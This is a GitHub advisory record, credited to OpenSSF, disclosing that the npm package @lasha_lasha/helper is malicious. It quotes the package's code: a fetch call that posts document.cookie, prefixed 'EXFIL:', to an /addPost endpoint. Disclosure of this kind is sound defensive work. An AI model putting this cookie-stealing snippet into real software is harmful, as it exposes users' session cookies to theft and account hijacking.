Malicious code in @lasha_lasha/helper (npm)
- GHSA-v32q-85mq-fg78
Description
The package's main entry contains a browser-targeted script that reads document.cookie and POSTs it with an 'EXFIL:' prefix to the relative URL /addPost (fetch('/addPost', { method:'POST', body: JSON.stringify({content: 'EXFIL:' + document.cookie}) })). The code has no legitimate library function; its only behavior is to harvest session cookies from whatever page it runs in and send them to a same-origin collector endpoint. Any consumer who bundles or injects this module into a web page would cause their users' session cookies to be exfiltrated. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/6306efcd2e5165329b81a44593e5176ac396d59b/osv/malicious/npm/@lasha_lasha/helper/MAL-2026-20191.json))
Text from the GitHub Advisory record.
Affected
@lasha_lasha/helpernpm
- No versions listed
Timeline
- Published
Related news
No article from the followed outlets names this vulnerability.